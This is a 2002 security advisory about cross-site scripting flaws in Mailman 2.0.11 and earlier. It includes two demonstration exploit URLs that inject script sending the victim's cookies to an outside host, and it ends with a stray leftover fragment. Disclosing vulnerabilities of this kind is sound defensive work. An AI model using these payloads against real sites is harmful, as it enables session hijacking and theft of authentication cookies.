SecurityTracker Alert ID: 1005176 |
|
CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Sep 4 2002
|
Impact: Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, User access via network
|
Fix Available: Yes
Vendor Confirmed: Yes
|
Version(s): 2.0.11 and prior versions
|
Description: Some additional input validation vulnerabilities were reported in the Mailman mailing list software. A remote user could conduct cross-site scripting attacks against Mailmain users.
A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed
by the target user's browser. The code will originate from the site running the vulnerable Mailman software and will run in the
security context of that site. As a result, the code will be able to access the target user's cookies (including authentication
cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take
actions on the site acting as the target user.
The following demonstration exploit URLs are provided:
http://mailman_site/mailman_dirctory/admin/ml-name?adminpw="/o
nClick="window.open('http://www.office.ac/j.cgi?'+document.cookie);
http://mailman_site/mailman/subscribe/ml-name?info=<script>document.location%3D"http://www.office.a
c/j.cgi?"%2Bdocument.cookie;</script>
|
Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the
vulnerable software, access data recently submitted by the target user via web form to the site, or take actions on the site acting
as the target user.

administrator click on it.
